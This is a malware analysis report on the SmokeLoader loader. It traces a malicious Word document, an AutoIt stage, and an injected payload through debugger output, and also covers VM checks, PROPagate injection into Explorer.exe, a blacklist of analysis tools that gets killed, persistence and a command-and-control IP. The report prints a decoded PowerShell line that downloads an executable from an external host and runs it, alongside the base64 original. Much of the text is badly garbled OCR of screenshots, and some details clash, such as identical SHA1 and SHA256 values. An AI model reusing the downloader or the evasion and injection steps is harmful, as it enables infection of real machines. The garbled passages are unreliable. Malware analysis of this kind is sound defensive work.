' Smoke Loader
Technical Analysis ‘

https://t.me/learningnets li




BY
f
/

Table of Content

INTRODUGCTION ...ttt 2
202TLKO49443.DOC...... ..ottt b bbbt bbbt 3
PKIMBTTJPG ...ttt bbbttt e e bR bbbt b 4
DYNAMIC ANALYSIS .t 5
NETWORK ANALYSIS ...kt 11
SOLUTION PROPOSALS ..ottt 13
YARA RULE ...ttt b e ettt b e b e b et been e 14




BY
r

INTRODUCTION

The SmokelLoader family is a type of malware that belongs to the loader type. The
main purpose of the program is to inject a more effective and destructive malware into
the machine. First revealed in 2011, SmokelLoader is a family that is evolving day by
day, using new techniques and constantly updating.

SmokelLoader is a family that aims to be keylogger, information theft, botnet, backdoor
access on systems. In fact, it can be used for any harmful activity for the purpose of
the attacker. It is spread through emails and drive-by download.

In the world of malware, PROPagate Injection has been used by SmokelLoaders for
the first time. PROPagate injection, injects confidential code into an application other
than the actual running application, allowing the malicious code to be run by a different
application.




20211k049443.doc
67CB98B84A7DB5F2F69023B0C5C08309

SHA1l 9F04A27BB59AC6842EA400C95AF131612BFEOOF9
SHA256 9F04A27BB59AC6842EA400C95AF131612BFEOOF9

First
Seen 2021-04-13 05:41:34 UTC

[ C:\Windows\System32\cmd.exe

to a file, for example “-s 2". Use "-s all” to save )=l » Office » OfficeMalScanner
all objects at once.
-d OUTPUT_DIR use specified directory to save output files. enle ~ Ag Bununia paylas ~ Yaz Yeni kiasor
Sik Kullanilanlar ad Begstrpetanh oy
Kargidan Yiklemeler Cadtdll
Il Masadsti B DisView.exe
C:\Usere< \Desktop’ \O'F'Fice\officeﬂa13(_:anner>rtfobj -s all sample.doc . Son Yerler LZNT1Decompress.dil
rtfobj @.55.£ on Python 5.. .5 - http://decalage.info/python/oletools .
THIS IS WORK IN PROGRESS - Check updates regularly? ) § MalHost-Setup.exe
Please report any issue at https://github.com/decalagez/oletools/issues Kitapliklar OBJDATA_sample_2.bin
Belgeler | OfficeMalScanner.exe
‘sample.doc’ - size: 1152096 bytes (TS OLE_ DOCUMENT_sample_1bin
mm—dmmmmmemeao T T Resimler B RTFScan.exe
sl Ees ) sample doc
1000F589Fh [Not a well-formed OLE object sample.doc_object 000F589F.raw
B et A T oo Bilgisayar Unzipper.dil
Saving raw data in object #0:
saving object to file sample.doc_object_©0OFS89F.raw 5

md5 a%a2cebb8152ffU06d2794c2d2722385

When the file with the extension ".docx" with malware was examined, it was determined
that an OLE object appeared in it. From this file that can be reached "bit[.] ly/3eORjks".

indows\System32\crmd.exe

obj @.56_2 on Python 3_7.9 — http:--decalage.-info-python-oletools
€ Is UORH IN PROCRESES - Check updates regularlut

1e at https:- - github.com- decalage2. oletools

Aata in obje 1
wing object to File aum] _doc_object BOAFS89F _raw
o HxD - [C\Uses Desktopisample.doc_object_000FS89F.raw]
5] Dosya Duazenle Ara Goranam  Analiz Ekstralar Pencereler Yardim

-~ | W -E ~ 16 [=]| windews tarsD [=]] hex =]
58] sample.doc_object_DOOF589F.raw

offset (n)

&. .. .ExpandEnvir
onmentStringsW.sS

cateProcesshsUse
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pkM3T1.jpg
9FBD32C6BB25F6A660696FA9830C5040
SHA1 1E41347D36792E823A8982B10170D83A0722E3CC
S gV VASs Il SDE2819F832F06F69009B07779EACABC1B171540B10689B4B23EAAC8F3232E14
First
Seen

With the resulting Autolt script, it was determined that files were downloaded via PowerShell.

(©) Exe2Aut - Autolt? Decompiler o= ==

Blobal prtfh_; frs[2]1[13] = [[58883, 52544, 10262, 145, 11, 30772, 605161, [35004, 87, 22498, 32296, 29562, 30391, 46836, 53, 27048482, 301754025, 526052566, 124, 3515411

q:
[330, 207, €0, 29046, 58708, Z , 177, 42, 53, 21038, 1220030025, 563300106, 351

436690, 255, 843768477, 33, 43999, 206, 16661, 11241, 25, 236, 218, 174, 38114]]

= IARCICAAT
e " & swsbtmoyx, sgeg_zyST2l_i_st, Svxojynx)

“IAAocAE4ARQB3AC0AbwBiAGoARQBjAHQAIAACIGAATgBgAGUAYABUAGAALgB
gAFCAYABIAGAAQYBgJAEMAYABSAGAAaQBgAGUAYABOAGAAVAAIICKALgBEA
G8AdwBUAEWAbwBBAGQAZgBJAGWARQAOACAAHSBOAHQAJABWAHMAOQgAVA
C8AdQAUAHQAZQBrAG4AaQBrAC4AaQBvACBAMgA4AGBATABXAC4AagBWAGCA
HSAgACWAIAAJICQARQBOAHYAOgBOAGUAbQBWAFWAZQBWAEQAdwBBAEMA
Q9BOAHAAVWAUAGUAeABIABOgIAApACAAOWAgAHMAJABBAFIAJAAgABOgJAB
FAE4AdgA6AHQAZQBtAHAAXABIAFYARAB3AEEAQWBCAHQACABXAC4AZQB4A
GUAHSA="

When the base64 code above is decoded, it is observed that it runs the following command.

“(NEw-0objEct 'N'eT.'WeB'ClieNT).DownLoAdfllE(https://u.teknik[.]io/280LW.jpg ,
$ENv:temp\eVDWACBtpW.exe ) ; stARt $ENv:temp\eVDWACBtpW.exe *

With the PowerShell DownloadFile command, It has been observed that it has downloaded
the file "eVDwWACBtpW.exe" from the link "u.teknik[.]Jio/280LW.jpg” under the directory
"temp\".

https://t.me/learningnets




eVDwACBtpW.exe

0D1334075336455A13A36FD909417556
4F1937FOEEEB697EF992547701295134FDE6G65C20

Dynamic Analysis

API| Obfuscation

The malware has been observed to receive the "handle" of a module with the
GetModuleHandleA API. Thus, it is aimed to make static analysis more challenging with API
Obfuscation technique. Just as it analyzes DLLs at the run time, it analyzes APIs also at the

run time.
C785 EBFDFFFF 010000(mov dword ptr ss:[ebp-Zis8@,1
BESD 08 mov ebx,dword ptr ss:[Jebp+s]
ES 09000000 call evdwacbtpw.401EGE
By -------------m oo v 73 62 jaes ewvdwacbtpw.401EC9
8965 64 6C&CO000 imul esp,dword ptr ss:[lebp+e4], 6C6C
SE pop esi
B0O3E 00 cmp byte ptr ds:[esi],0
' v 74 11 = ﬁvdwqcbtpw.4D1E35
' 56 push esi
EIF, n FF52 48 call dword ptr ds:[ebx+48]
g 85C0 test eax,eax
poomosssosconosag|o + ~ OF85 EAOQOOC000D jne ewvdwacbtpw.401F6A
| 1 B3CE 0B add esi,g esi:"sbied11"
! : ~ EB EA jmp evdwachtpw. 401E6F
! B ES 2C000000 ca1; erdwacbtpw.401EBB
! t3 push ebx
| poeoscesscosccoscecss v 79 73 jns evdwacbtpw.401F00
I e Tt v 74 65 je evdwacbtpw.401EF4
i 8 &0 insd
181 5C pop esp
L 43 inc ebx
181 prososessosessooos v 75 72 jne evdwacbtpw.401F0&
L e v 72 65 jb evdwacbtpw.401EFB
o 6E outsh
R TP P v T4 43 je evdwacbtpw.401EDC
RN &F outsd
P 6E outsh
[ 1] pemmmmmmeee v 74 72 je evdwacbtpw.401F0OF
o &F outsd
NRERE 6C insb
EREEE 53 push ebx
i 38 a prosmeoos v B5:74 5C je evdwacbtpw.401EFF
EENE i 53 push ebx
od ! Y 1mmmmmmes v 85172 76 jb evdwacbtpw.401F1D _
L ! :: 6963 65 73504463 imul esp,dword ptr ds:[ebx+65],69445C73
L : ! | = v 73 6B jae ewdwacbtpw.401F1E
EEEEEEEE. i pop esp
i 38 a il 45 inc ebp
ERRRERERE 6E outsb
od ! e v 75 &D jne evdwacbtpw.491F22___ -
[ 1 R 0058 8D add byte ptr ds:[eax-73],b
:i:i::::::i: 8 BS EC mov ch,EC
sbdbiboddlid . T
dword ptr [ebx+48]=[000CFF1C <&GetModuleHandleAx]=<kernel3z.GetModuleHand]eaAx>

. text:00401E75 evdwacbtpw.exe: $1E7S #1075
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00401EBB FF
00401EBC FF56 6A call dword ptr ds:[esi+6A]
00401EBF 016A 00 add dword ptr ds:[edx],ebp
00401EC2 50 push eax eax: "System\\CurrentControlset\\Services\\Disk\\Enum"
00401EC3 68 02000080 push 80000002
Elg— FF93 9C000000 |call dword ptr ds:[ebx 9C]
o 00401ECE 85C0 test eax,eax eax: system\\CurrentControlset\\Services\\Disk\\Enum"
00401EDO ~ OF85 92000000 jne evdwachtpw.401F68
o 00401ED6 8D85 FA4FDFFFF 1ea eax,dword ptr ss:[Jebp-20C] [ebp-20C]:&L"Abied11"
o 00401EDC 66:C700 3000 mov word ptr ds:[eax],30 eax: "System\\CurrentControlSet\\Services\\Disk\\Enum", 30:'(
o 00401EE1 8DBD F8FDFFFF lea edi,dword ptr ss:[lebp-208]
o 00401EE7 8D8D FOFDFFFF lea ecx,dword ptr ss:[ebp-210]
o 00401EED €701 04010000 mov dword ptr ds:[ecx],104
®|00401EF3 51 push ecx
® 00401EF4 57 push edi
® 00401EF5 6A 00 push 0
® 00401EF7 6A 00 push 0
®| 00401EF9 50 push eax eax: "System\\CurrentControlset\\Services\\Disk\\Enum"
®| 00401EFA FF36 push dword ptr ds:[esi] [esi]:EntryPoint
®| 00401EFC FF93 A0000000 €alll dword ptr ds:[ebx+A0]
o 00401F02 85C0 test eax,eax eax: "System\\CurrentControlset\\Services\\Disk\\Enum"
00401F04 ~ 75 62 jne evdwacbtpw.401F68
®| 00401F06 FF36 push dword ptr ds:[esi] [esi]:EntryPoint
®| 00401F08 FF93 A4000000 €alll dword ptr ds:[ebx+Ad]
o 00401F0E 31C0 XOr eax,eax eax: "System\\CurrentControlset\\Services\\Disk\\Enum"
®| 00401F10 89FE mov esi,edi
® 00401F12 57 ush edi
® 00401F13 AC ods
®| 00401F14 84c0 test al,al
st o Ti“wh‘drl.’. TA_Na EP ,..u:'.'..wrl.fn... ANICDY ;
dword ptr [ebx+9C]=[000CFF70 <&RegOpenKeyExA>]=<advapi32.RegOpenKeyExA>
.text:00401EC8 evdwacbtpw.exe:$1EC8 #10C8

As the image above shows, it reads all registers under "Disk/Enum" to check if the computer
is virtual machine. From the key values of the registry specified by the RegOpenkeyExA API
it founded that it has been reached.

FF53 38 call dword ptr ds:[ebx-338]
83c4 08 add esp,8
85C0 test eax,eax
v 75 07 jne evdwachtpw.401F6A
83C6 0A add esi,A esi:"qemu”
~ EB EA jmp evdwachtpw.401F52
00401F68 ~ EB mp evdwachtpw.401F74

A ]
00401F6A C785 E8FDFFFF O(mov dword Etr ss:|lebp-218],0
EB_OF j

00401F7 - ]m[il evdwacbtpw. 401F85
401F D377 15 shl dword ptr ds:[edi+151,cl edi+15: "&rod_vmware_virtual_s\\5&22be343f&0&000000"
cc int3
B8 531E0000 mov eax,lE53
~ EB_07 jm[iu evdwacbtpw. 401F88
D377 15 shl dword ptr ds:[edi+15],cl edi+15: "&prod_vmware_virtual_s\\5&22be343f&0&000000"
® 00401F84 cc int3 —
00401F85 ~ EB F3 jmp evdwachtpw.401F7A
Lo 00401F57 COEB OF shr bl,F
@ 00401F8A CF iretd
00401F8B - 77 15 ja evdwachtpw.401FA2
@ 00401F8D cC int3
@ 00401F8E B9 4E010000 mov ecx,14E
@ 00401F93 « EB 07 jmp_evdwachtpw.401F9C
@ 00401F CF iretd
00401F ~ 77 15 ja_evdwacbtpw.401FAD
@ 00401F cc int3
00401F ~ EB F3 jmp_evdwachtpw.401F8E
4011 cc int3
L 9 E8 BAF1FFFF call evdwacbtpw.401155
8B85 ESFDFFFF mov eax,dword ptr ss:[[ebp-218]
p e e i = 1o\ se0okada

i

<
dword ptr [ebx+38]=[000CFFOC <&strstr>]=<ntdll.strstr>

. text:00401F59 evdwachtpw.exe:$1F59 #1159

ook | @iy pekim2 | @y Dokim3 | gty Dekimd | @ pokims | 8 e 1 [ -l verelDegiskenier [ ) vam | el
Adres [Hex ASCT. ~l ooock
00401E( 80 FF 93 9C|00 00 00 85|CO OF 85 92 000!
00401E0 85 F4 FD FF |FF 66 C7 00|30 00 8D BD 3l ooocr
00401EE 8D 8D FO FD|FF FF C7 01|04 O1 00 00 VC . 000CH
00401EF 6A 00 50 FF |36 FF 93 A0 |00 00 00 85 yby . 000CH
00401F(36 FF 93 A4|00 00 Q0 31|CO 89 FE 57 H,, .1 000CH
00401F10A 1 000CH
00401F 371 000!
00401F 3 6C 000CH
00401F4 6E 000CH
00401F5 56 000CH
00401F( EA - ooocr
i [ K

After the values in registers are taken, the malware compare them to "gemu, virtual,
vmware, xen".
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Return Abuse

FD sTd -
FF |l!
FF5F SE callifar fword ptr ds:[edi+5E]
5B op ebx
c9 eave
=E— c2 0400 ret 4

Instead of the usual "ret" command, we see the command "ret 4" here. The program decodes
and runs both DLLs and APIs at run time to complicate static analysis and circumvent EDRs.

As an anti-debug technique, it also changes the return addresses of CALL calls. The value
typed next to the RET command deletes the byte from the end of the stack until the value and
changes the return address.

PROPagate Injection

After the VM check, it was determined that the injected malicious code into the Explorer.exe
using the "AllocateVirtualMemory-OpenProcess-MapViewOfSection" APIs. After the code
is injected, the virtual memory partition is allocated.

The virtual memory partition receives the handle of Explorer.exe with OpenProcess. With
MapViewOfSection, malicious code is written to a virtual memory partition.

Windows Explorer runs at a integrity level that uses Subclasses a lot, making them accessible

without granting a privilege to the user logged on to the process area. Therefore, it is a target
process that is extremely suitable for the use of this technique. A subclass window can be
modified quite easily with the SetProp API.

1- CALL EnumChildWindows
2- CALL EnumPropsA
3- CALL SetPropA

In this way, the entry point of a Subclass is changed. This modified Subclass is usually
"Progman" because it is commonly available in Windows 7 and 10. The entry point is replaced
with the starting address of the malicious code, and it is determined that the malicious code is
run every time this window is called.

B cru | @ orafic | | runik | [TiNotlr | ® KesmeNoktln | B iafiza | (1) ién Gagrian | Smsen | [l Knmutnnsya\| & semboller | < K
1

FF93 8C000000 [call dword ptr ds:[ebx B8C] — SetProp
L 7 57 push edi

g? 4 push fdi

A 4E push 4t

FF75 D4 push dword ptr ss:[[ebp-2C] \

FF93 84000000 |€all dword ptr ds:[ebx+84] Send

push edi /

57 push edi

BA OF usE E 1 o -

FF7 pus word ptr ss:|lebp-2C i

FF93 ssoooooo €all dword ptr ds: [ebx-85] _> SendNotifyMessage

FF7 push dword ptr ss:[[ebp-1C]
FF53 14 call dword ptr ds:[ebx+14] cos—— ZwClose
~ EB OF * evdwacbtpw.4016D8
1 e evdwacbtpw.4016E1
Ct 3
B8 0B150000 mov eax,150 eax: "UxSubclassInfo"
v 07

EB * evdwachtpw 4016DB
E
7E 15 1 e evdwachtpw.4016EC
cC nt3
~ EB F3 ]mp evdwacbtpw.4016CD
8CEB mov ebx
OFBATE 15 CC btc dworg ptr ds: [esi+15],CC
B9 E9010000 mov ecx,1E9
EB 07 jmp evdwachtpw 4016EF
BA 7E15CCEB mov edx,EBCC157E
E:SBEE mov a'\ ch

i
dword ptr [ebx+8C]=[000CFF60 <&SetPropA>]=<user32.SetPropA>

.text:004016A1 evdwacbtpw.exe:$16A1 #8Al

After SetProp, the SendMessage and SendNotifyMessage APIs causes trigger the
modified window entry point’s and runs the malicious code.

https://t.me/learningnets
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APIs that decoded at the runtime and used

GetModuleHandle RegOpenKey RegQueryValueKey OpenProcessToken
GetVolumelnformation CreateFileMapping MapViewOfFile GetModuleFileName
CreateEvent AllocateVirtualMemory DecompressBuffer GetShellWindow
GetWindowThreadPrid UnmapViewOfSection ZeroMemory OpenProcess
GetTokenInformation CreateSection MapViewOfSection EnumChildWindows
EnumProps GlobalGetAtomName MoveMemory SetProp
SendMessage SendNotifyMessage

Injected Shell Code

Malicious code that injected to Explorer.exe generates a thread. When a new window opens,
this thread starts working and appears to get the names of all open process’s using the
Process32First-Process32Next APIs.

It compares the blacklist recorded in its memory with the process that works by sending it to
its encode function. In case of matching, the process is closed with the TerminateProcess
API located in the Sleep API.

Encode code:

https://github.com/ZAYOTEM/smokeloader_string_enc/blob/main/smokeloader_string_enc.py

8A01 mov al,byte ptr ds:[rex] Fexi”Ls - [ EPu Gizle
4C:8BC1 mov r8,rcx rex: T[S
33D2 xor edx, edx RAX  0000000000000001
~ EB 16 jmp 2984CF7 RBX  0000000000000D5C
24 DF and al,DF . RCX 0000000007 E5F6FC "[System Process]"
OFB6C8 movzx ecx,al ecx:"[s | RDX  0000000000000000
8BC1 MoV eax, ecx ecx:"[S| RBP 0000000000000000
33c2 xor eax,edx RSP 0000000007ESF6A8
T L] G RSI  0000000000000000
0301 add edx'écx ecx: " [S RDI 0000000000000000
49:FFCO inc r8
41:8A00 mov al,byte ptr ds:[r8] R8 0000000007E5F800
8460 test ai.al R9  00000000O7ESF70D
~ 75 E6 jne 2984CEL R10  0000000007E5F49E
$BC2 mov eax, edx R11  0000000000000000
c3 ret R12  0000000000000000
cC int3 R13  0000000000000000
@< int3 R14  0000000000000000
EE 1n§% R15 0000000000000000
HD |
EE 132 Varsaylan (x64 fastcal) ~]'s [ [ Kiitsiz
48:895C24 08 1: rcx 0000000007E5F6FC “[System Process

mov gword ptr ss:|[frsp+8], rbx

mov qword ptr ss:[rep:i0],rsi 2: rdx_0000000000000000

push rdi 3: r8 0000000007E5FB00
sub rsp,20 4: r9 0000000007E5F70D
= 5: [rsp+28] 0000000000000130

48:897424 10

1

48:83EC 20

"[System Process]"]=58 '["

tt . ! M



Resulting process blacklist:

Autoruns.exe ollydbg.exe procmoné64.exe x32dbg.exe

idaw.exe procexp.exe x64dbg.exe windbg.exe

procexp64.exe procmon.exe idag.exe Tcpview.exe
idaw64.exe idaq64.exe Wireshark.exe ProcessHacker.exe

By | B orafk | LiGonik | [7Nelar | ® KesmeMNokislan | ™M hafiza | [ vignGagrlan | SsEH | lof KomutDosyas | &) semboler | <> Kaynak | ' Referansar | ‘9 fsPargackian | o Tut

@[ 0000000002803 48:8BC8 mov rcx,rax rcx: "taskhost. exe’
®| 0000000002803 C€74424 20 30010C0mov dword ptr ss:[[rsp:+20],130
@[ 0000000002803 FF15 11470000 call_gword ptr ds:[<&Process32First>]
0000000002803 - EB 46 mp 28D3B7F
L 28D3 48:8D4C24 4C ea rcx,qword ptr ss:[Irsp+4cl
A— E8 95110000 call <Encode>
of 48:8D15 86DSFFFF lea rdx,qword ptr ds:[28010D0]
o 35 548AC015 xor eax,15C08A54
45:33C0 xor r8d,r&d
3902 cmp_dword ptr ds:[rdx],eax
- 74 12 je 28D3B68
41:FFCO inc r&d
)0000000028D 48:83C2 04 add rdx,4
00000000028D3 49 C8 movsxd rcx,r8d rex: "taskhost. exe”
00000000028D3 48:83F9 OF cmp rcx,F rcx: "taskhost. exe"
00000000028D3 -~ 72 EC jb 28D3B52
0000000002803 - EB 09 Jmp 28D3B71
00000000028D3 8B4C24 28 mov_ecx,dword ptr ss:[Irsp+28]]
00000000028D3 E8 EF080000 call 2804460
00000000028D3 48:8D5424 20 lea rdx,qword ptr ss:[irsp+20
@ 00000000028D3 48:8BCB mov_rcx,rbx rcx: "taskhost. exe”
@ 0000 )028D3 FF15 01460000 |call qword ptr ds:[<&Process32Next>]
00001 )028D3 85C0 test eax,eax
& 0000 )028D3 -~ 75 B6 jne 28D3B39
@] 0000/ )028D3 48:8BCB mov_rcx,rbx rcx: "taskhost. exe”
@ 0000 )028D3 FF15 D4450000 |gall qword ptr ds:[<&TloseHandle>]
@] 0000/ )028D3 B9 64000000 mov_ecx,b64 ecx: "taskhost.exe", 64:'d"’
@/ 00000000028D3 FF15 D9450000 |all gword ptr ds:[<&Sleep>]
@ 0000000002803~ F9 71FFFFFF imn_28N3R0OND
« i
<Encode>
00000000028D3B3E
Whoom: | gypskm2 | wyoskm3 | ypeims | wosums | @ tde 1 | el verel Degigkenier [ 7 vam | %
Adres Hex <l oo0
0000000002801 24 5C C5 11]C3 B2 FC B4 D6 OF 18 63CD B5 DD BC |4\A,A2 oo
00000000028D10B F7 0A 60|CC A8 F2 Al 9B 0D C8 60 |FF 81 F4 6B |.=. I 0j 000
00000000028D1C3 92 D2 AA|DF ED BC 37 D8 EO BC 09 8D A7 D2 4B 000
00000000028D1fA7 Al D2 4B |08 40 49 4E |08 40 63 74|00 00 00 00 . 000
00000000028D1 88 3B DO F6 |82 FF 49 5A B9 79 BL B B3 79 B 35 |.;B8.yIZ y=x' ]

In the Encode function, the process name received with the Process32First API is encrypted
and compared with the blacklist elements in the memory. In the case of a match, the process
is closed using the CloseHandle API.
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The malware that creates a new directory is copied to this directory and it is observed that it

works from there if the machine restarts.

ik | (D noter | | et | G vonCoptan | =258n | L) comtosmes | 2) semooter
8B1D C7F1FFFF  [mov ebx,dword ptr ds:[2€11173]
48:88BC8 mov er rax
48:8BES mov
FF15 98610000 nll v.om ptr ds:[<&1strienas]
48:8805 rdx,rbp
iC or cox ecs
44:88C0 mov _rid, eax
. Fris 32330000 | MR quord ptr ds:[<&REIComputeCre32s]
. 41:8D 03000000
. 38C3 hp cax, ebx
. 90
. 90
. 90
. 90
. 90
. 90
IQ'BHDV mov rdx,rls
48 mov_rex, rdi
rns zsbzoooo nll quord ptr ds: [<&Tstrempus]
C eax, eax
0P84 AA000000 | e 212092
48:8000 65400W1ea rox,qword ptr ds: [2C16050]

xor_edx,edx

3302 4
FE1S 41620000 ;ull qnmrﬂ per ds: [<&CreateDirectoryw>]

FF]) 08620000 a" qwuvd ph Is: [<&DeleteFilews]
xor réd,r8
49 Hﬂn' oy rdx ,,
48:86CF rex, rd
FF15 01610000 |EHIY qword ptr ds: [<ACopyFilews]
85C test eax,eax
oru moooooo je 2C120€8
: moy_rcx, rdi . .

qword ptr [oononoomma;m <&CreateDirectoryws]=<kernel32.CreateDirectoryw>

| ©xawek | o Referorsie | ® typargackan | o Tutsmeer | ¢ 1e
FPU Gizle
RAX 0000000000000001
REX  00D00000AQ0B4FE1
RCX  0000000002C1605D  L"C:\\Users\\@UEND\\AppData\\Roaming\\Microsoft\\windows\\restdtad"
ROX  0000000000G00000
RBP  0000000006CFSIEQ  “http://94.140.115.43/1/"
RSP 00DDDOOO0408FDEO & C:\\users\ @D \Downloads\ \eVOWACE tpW. exe"
RSI  0000000002C14A3F
RDI  0000000002C163FF L"(:\\users\-\Dwnloads\le\rl)m\(lstpu.exe”
RS 0000000012020E1A
RO 0000000077160000  kernel32.0000000077160000
R10 OODDDOOGUUBUV(”'
R11  0000000000000003
R12  0000000002c15350  L"C:\\users\ QD \AppData\\Roaming\\Wicrosoft\\Windows\\restdtad"
R13  0000000000000003
R14 0000000000000000
15 0000000002c16855  L"c:\\Users\ @] \appoata\\Roaming\\Wicrosoft\\Windows\\restdtad\\wiagwiei. exe"
RIP 0002C11FF1
RFLAGS  0000000000000246
ZF 1 PF 1
Varsayan 164 fostal ] 105
T OZCTE05D TC VU ers QI \APPDAta\\RoanTng W cros 6T\ Windos \\res tatad™
20201
77 kerne132.0000000077,
347€0 L"C:\\Users\ pData\\\Roaming\\Microsoft\\windows\\Start Menu\\Programs\\Startu
“ 2143 ker F02C2143
000:
16F65 "A4BCIC03483015EBEBD13F SEAS1268EFFB06FBABFF "

As shown above, using the CreateDirectory API, it creates a directory named "restdtad"
the "WAppData\\Roaming\Microsoft\Windows" directory.

Mo Qura awan | W viaton | () o Gadrian Komt Dasyas | ) sentober
mov ebx,dword ptr
mov rex,rax

mov_rbp

an !l»\urd ptr

®oan | o |
o s [2c11173]

: [«@1strlenas]

. Xor ¢
N moy.
o ean’ tlmu«l ptr [<&atIComputeCred2s]
. mov. ¢
- 38C mp eax, ebx
. 90
. 90
o 90
. 90
- 90
90
49: 88D mov rdx,
48: 8BCF oV_rex,
£F1538620000 ¢. n ..wm.; pr ds: [<@lstrompws)
5C0 ¢
0FB4_AADO0OOQ
4n nuon 6E40000( 151 [2€16050]

PP15 41620000
49: BOCF
FE1S 08620000
45

|

[<&CreateDirectoryws]
: [<b0eleterilews]

ru(s) "b1610000 \un mrﬂ pr o
st

<&copyFilew»)

85¢C test cax,ecax
0F84 D1000000 je 2C12068
48: 88CF moy rex,rdi
qword ptr [0000000002C18150 <&CopyF 1 1ew»] =ckernaTi2. Copyr 11e

Using the CopyFileW API, the name of
into the generated directory.

Bou 9@.&}' | = riatea | () won catrien | s |

o ; 90
° %0
° 90
. 90
49:8807
48:88CF mov_rcx,
;;1 38620000 €W} qword ptr ds:[<&1strcmpis]
C eax, eax
OF84 AA000000  je 212092
48:8000 6£4D000C lea rex.quord ptr ds: [2C16050)
330 xor_edx, et
FF15 41620000  call qword ptr ds:[<&CreateDirectoryw>]
49:88CF mov_rcx,r15
FF15 08620000 €@ quord ptr ds:[<aDeleteFilews)
45:33C0 r8
49:8807
48:8BCF .
;zl 01610000 5 : [<&CopyFilews]
C
O0F84 D1000000
48: 88CF :
FF15 E8610000 cal <8Deleterilews]
41:804D 10 Tea ecx umrd ptr ds:[r13+10]
£8 26280000 call 2cidss4
41: Tea rn r(word ptr ds:[r13.19]
ax
LS uzsoooo ull 7(14534
wov r8,r15
35: 8807 mov rdx,
49:88CC mov rex

To make it difficult for the end user to detect the malware, the malicious file that is run with

the DeleteFileW API is deleted.

- KomtDosyan | @] sentoler |

< Kapnak Reforansiar | W0 1y Pargachian

2 FPU Gizle
RAX  0000000000000001
RBX  00000000A0084FE 1
RCX  0000000002C163FF
ROX  0000000002C16855
RBP  0000000006CF 51E0
RSP 000000000408 D80
RST  0000000002C14AIF
RDI  0000000002C163FF

0000000000000000
0000000006CE S160
000000000000000¢

0000000000000546

L pr—

\EVDWACH tpW. ex
\Roaming\\Microsoft

"C:\\Users\ \windows\
http://94.14)

v \\users\ @D \vown1oads \\evowACB tpw. exe”

"http://94.140.115.43/1/"

s

rdx 0000000002c15330  Le: \\users @D \Appoata\\Roaming\ Wicrosof t\\windows\\restdtad"
rex 0000000000000003
0000000000000000
0000000002C 16855 \\users @I Appoata\\Roaming\\Microsof t\\Windows\\res tdtad\\wiagwiei . exe”
RIP  0000000002C12009
0000000000000246
Varsavian (164 o sl
rdx 1—mmunmnmn T NUsers \Bown Toads | eVOWACBEpW. exe
v 2: rdx 55 L"C:\\User \AppData\\Roaming\\1crosof t\\Windows \\res tdtad\\wiagwiei . exe"
| i
i "http: //94,140.115
: 00000000068347ED 1 \users \AppData\\Roaming\ \Mcrosof t\\Windows\\Start Menu\\Programs\\s
000007FEFD2C2143 kernelbase. FD262143
: 5] 00000000001F 00C
3000000000000000
0000000002C16F65 “A4BCICO348301SE8EBD13F SE451 268K FFBO6F BABFF"
[repad8) 0000000000000000

restdtad\\wiagwiei . exe"

malware is changed to "wiagwiei.exe" and copied

| tsParcackion | Tutamager | €712

0408FD8O
0000000002C14A3F
0000000002C163FF

RE  000000000408FC43

L"C:\\users \-\Dmm'luads'\ \eVDRACEtpW. exe”
“http://94.140.115.43/1/"

Le:\\users @I \DownToads\\eVOWACB oW, exe™

R9 0000000006CF 51E0 "http://94.140.115.43/1/"
R10  0000000000000000
r R11 000000000408FD30
| R12 0000000002c15350  L'c:\\users @) \AppData\\Roaming\\Wicrosof t\\Windows\\restdtad”
R13 00000000000
R14  0000000000000000
Ris  0000000002c16855 L c:\\users\@\Appata\\Roaming\\Wicrosoft\\windows\\res tdtad\\wiagwiei . exe”
RIP 0000000002C1 21
RFLAGS _ 0000000000000202
e |z PF
e
e =] 10 &1 Pliuse
; Tex oomuuzclésrr Tcrvsers WD \0own Toads \\eVOWACE TpW. exe
' rdx 0000000000

r8 000000000408FC48

s .
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Network Analysis

The section that generated in the Explorer.exe "94[.]140[.]115[.]43" IP address is used as a
command and control server. HTTP 404 returns in response when a request is thrown to this
server. The revolving answer was found to be payload in the response header.

Hacker View Tools Users Help
‘?9 Refresh .72 Options | 8 Find handles or DLLs  =&% Systemn information | [l ,_:a b4 Search Processes (Ctrl+K) jo
Processes | Services | Network | Disk
I
~ | Privateb... User name Description o
= explorer.exe (3300) Ozellikleri (== ][=] ] ; -
25,76 MB Windows Hizmetleri igin Ana ...
General | Statistics I Performance I Threads I Token I Modules | 561 MB Biriktirici Alt Sistemni Uygulam...
Memory | Environment I Handles I GPU I Comment | 11,456 MB Windows Hizmetleri igin Ana ...
316 MB Windows Hizmetleri igin Ana ...
[7]Hide free regions 299 MB VMware Guest Authentication...
R - 1218 MB G \incows Garevleri 1g|n Ana Bi... eax
Base address Type Size  Protect... Use *
& & 98 MB VMware Tools Core Service
R ] "
Dxca7a000 Private: Commit BB RW4G  Sta 36,81 MB Microsoft Windows Search Di...
Oxdc6f00 Private: Commit 12kB RW+G _ Stack
0x2930000 Mapped: Com... 84kB RWX ) explorer.exe (3300) (0x2980000 - 0:2995000)
0x29a0000 Mapped: Com... 4kB  RWX
0x4210000 Private: Commit 4kB  RWX 000049e0 48 89 Sc 24 08 57 48 83 ec 20 Of bé 39 48 &b 49 H.\%.WH <9H.. -
0x4420000 Private: Commit 64kE RX 000045£0 8d 47 01 48 63 c8 e8 f£d 04 00 00 4c &d 5b 01 4c .G.Hoc...... L.[.L
Ox 73721000 Image: Commit 4kB RX 00004200 2b c0 40 84 ££ 90 90 e2 00 00 00 00 Se 48 83 cf ..0...u..... ~H..
0x77061000 Image: Commit S5k RX 00004al0 1c 49 £b £8 a4 80 3e 00 75 £a 80 07 00 48 &b 5
20 2 s 8 20 £f 274 74 7 0f 2f - .
oo ot ool w | 00080 20 348 s et 205t a8 74 70 3 ac zx ofeon s
) . 2 2 2 2f 2f . . . .
Dx77251000 Image: Commit L1688 RX 00004240 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 o
077431000 Image: Commit 4h8 RX 00004250 48 89 4c 24 08 55 53 56 57 41 56 48 &b ec 48 23 H.LS$.USVWAVE..H.
0xff3c1000 Image: Commit 740k8  RX 00004260 ec 50 33 db 2d 4b 02 e8 e8 00 00 00 41 b9 19 00 .P3..K. .A...
0x7fee5531000 Image: Commit 843k RX 00004870 02 00 45 33 c0 4c &b £0 48 &8d 45 40 48 c7 cl 02 ..E3.L. H E@H
Ox7feefa51000 Image: Commit 7.792kB RX 00004880 00 00 80 49 8b df 48 89 44 24 20 ££ 15 c7 18 00 .I..H.D§ .....
O TFef24a 1000 Image: Commit saEkE RY 00004290 00 85 c0 75 7a 8b fb 8d 4f Of c7 45 30 20 00 00 ...uz...0..E0
